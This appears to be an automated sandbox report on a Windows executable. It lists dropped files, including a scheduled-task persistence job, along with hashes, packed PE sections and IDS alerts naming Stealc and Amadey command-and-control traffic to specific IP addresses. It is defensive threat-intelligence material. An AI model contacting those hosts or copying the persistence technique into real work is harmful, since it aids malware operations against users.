Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFHJKKECFIE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.94825176734346
Encrypted:	false
SSDEEP:	49152:5W91Z2uLsFeB979bEYiVtk8g/Tn7KFPcV316PW:0H20P97+YQb67KxwF
MD5:	EFA562638C762CA57F68C4E25E85718B
SHA1:	0AE937AC0181E5510953395BD57C04E89F8001F4
SHA-256:	7A2BE1766FE207A4736269F982B6708C9392AE418683298EF6544D0DDB85596A
SHA-512:	9086DED9AC09A4EB556294495E8035EF1DC1757B2EBFCBDA50A5B721A7FD9E3E19DB56E1892CB5466E09E11F458C551BABCA8EFCC41AC3A0C320B65F3125F23E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......H....................K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...ouutfhzy. ...p1.....................@...nnqcftdu......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFHJKKECFIE.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.513023522108391
Encrypted:	false
SSDEEP:	6:VlDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBxl/+0ut0:VRlvJQ1CGAFMkXd8kX+VBj/+0ut0
MD5:	1E41400F6FB558D0C9F56F7FA39410AB
SHA1:	D69BC4CACDBB6D4B19BE67656E061C2F0738F84A
SHA-256:	EEB3E93F48436DA6274387F0C651DF9C168DC847DB75285D1F0595C80CC7C522
SHA-512:	F7E4F08340A679DB165B9F51D9FBBD313EECCDD82929A05045E99156A3B42822DBFD2CA0675EF4886166C1106B19A20CF6403CEAE1AE9DB4E6D583F81D07D15A
Malicious:	false
Preview:	..........A....{]..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4943)
Category:	downloaded
Size (bytes):	4948
Entropy (8bit):	5.8266632222971
Encrypted:	false
SSDEEP:	96:0GoliSmQ6MeuO9dvcrrXZX0S8MXjn20j0bbIrNTya8u4DfffffX:0pd+uiv490S8MV4b+Nek4b
MD5:	3D21C0FC83471CBC1E8B9DC21C042E15
SHA1:	79BA607ED83D863A467A9D1F6A5386B5CD2F9BDE
SHA-256:	2B8AD74F5245E9079DE6346C0F87DDD8D4B1A83B4AD532C20EFA6E6E8DC4924D
SHA-512:	AF6BD8DD832DB7457F1B210036CF33E7955AE746B2D86EC34AD1761C31CC76A1A8313E5203AC991E4A6BBAE35EC809C41F34CE761A905D21360CFA417D1C0F36
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mega millions jackpot lottery numbers","spotify wrapped 2024","nier automata dlc stellar blade","snow forecast pennsylvania","disneyland social clubs","starfield updates","houston astros","microstrategy stock"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wM20xbhINQmFzZWJhbGwgdGVhbTKyF2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBTUFBQUNkdDRIc0FBQUJDRkJNVkVYLy8vOEFMV0lBTEdNQUtHVUFLbVFBSjEvcmJoOEFBRmNBS21BQUVGWUFKVjRBSTEzNGN4UHNaZ0FBQ2xrQUttTCtkUTd0OFBNQUhGb0FIMXNBR0ZuYWFTYmZheU4xU0V6bmd5UHg5L3JIWXk5QldIN3VjQm9BQUZMRnpOWUFDVlM4dzgrM1hUYW1XRDNnNU9uWHdyazhOMXVxc3NGbmVKUWpRM0ZUUGxYVVp5bUxUMFpyUlU5R09sa0FMMS9BWURJYk1sNS9TMHJ3NmVaZFAxQ1JuYkZhYkl3QUFFaUJqYVJ6Z3B5WFUwRXNOVnpvZmdqMGZnRDFoeDdobG5KTlpJZzFUWGFQWDBMVGV5ci9qQlVkSkUzaHc2em

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435085168399794
Encrypted:	false
SSDEEP:	3072:fikXyPqO7UX1Hme9kZbs4Voc51SnXqwQ2i6o:flyWFHrp4Voc51SnawQ8o
MD5:	758D95700B5FFB7882F0DC67FAC4C8AC
SHA1:	C1AEAF707B90E66E7D418D05BC50F8401556DF84
SHA-256:	440763E9E7B545C79DDA9B8DB464C93B8A143B28522DAFC73E7C00B8859EE917
SHA-512:	07E78B8FBA40B4ED2722A9307ABCE74693E052FE149967DC0B159655BB96E1464933093CA6CCA07506338BC823BCB223689AF287E1A7CE3C7D9D8B1BFE4204A5
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946538594274632
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'810'432 bytes
MD5:	61acee13f680dd57a06b13d1cc04cfcc
SHA1:	11415b4452ac82299c47e10e981e8728a57d891e
SHA256:	5d7b7a5d6a3c291e33347301f3b116a375f9709a3f4ea5c3ec35eacaae59ca1d
SHA512:	b4458be1c6bbb29c8d2853bce7fed4237f2c8151314cff0a94587e435a8783b5c34e29a0cb6efb7979fcb2ce8f62930dc2d79abe55c6c126f56f8f328355ef11
SSDEEP:	49152:F2I9nUXPhLNmDJvIB8AXnTP7X6MvfqehBg:pUX5LiJwzDP7tvyqB
TLSH:	FD85339D9C9C0637E939C1BA8C46C243FBB58CD09B899AA5B3402BB55F6B35D04B3E44
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9934B4120Ah
movd dword ptr [ebx], mm3
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	54f7b30457ac23ee7b7a438c47e4e547	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	c92b14b3c8628325870e67ff866ff792	False	0.58203125	data	4.559845874724489	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	736a768d33575bd5c1b24a44a76d04a3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vxiwxizj	0x4f9000	0x1a1000	0x1a0200	5e95986473cc78186a66e62f9aa9f6f5	False	0.994679215793031	data	7.954085793015688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
btvupddn	0x69a000	0x1000	0x400	78e1e203c0ee45683fcb7fba04c94760	False	0.7373046875	data	5.884642281639709	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69b000	0x3000	0x2200	df859bdb40e7d07222429e367653045c	False	0.0896139705882353	DOS executable (COM)	1.1724632285295695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x698f68	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T23:12:24.074631+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:24.530030+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:24.650719+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49710	TCP
2024-11-20T23:12:24.984949+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:25.111487+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49710	TCP
2024-11-20T23:12:26.842468+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:27.577036+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:49.519611+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:51.575349+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:52.961411+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:54.270012+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:58.180949+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:59.319720+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:13:05.201403+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49932	185.215.113.16	80	TCP
2024-11-20T23:14:05.127102+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50083	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 23:12:12.633642912 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 23:12:12.742960930 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:12.743746996 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:12.867943048 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:15.617964983 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 23:12:18.643357992 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:18.643399000 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:18.643542051 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:18.644061089 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:18.644073009 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:20.652019024 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:20.652108908 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:20.680082083 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:20.680094957 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:20.680540085 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:20.691335917 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:20.739336967 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.202852964 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.202888012 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.202922106 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.202960968 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.202976942 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.202996969 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.203059912 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.392067909 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.392127991 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.392230034 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.392250061 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.392294884 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.392294884 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.444082975 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.444132090 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.444252014 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.444264889 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.444305897 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.444389105 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.564711094 CET	443	49704	13.107.246.63	192.168.2.7
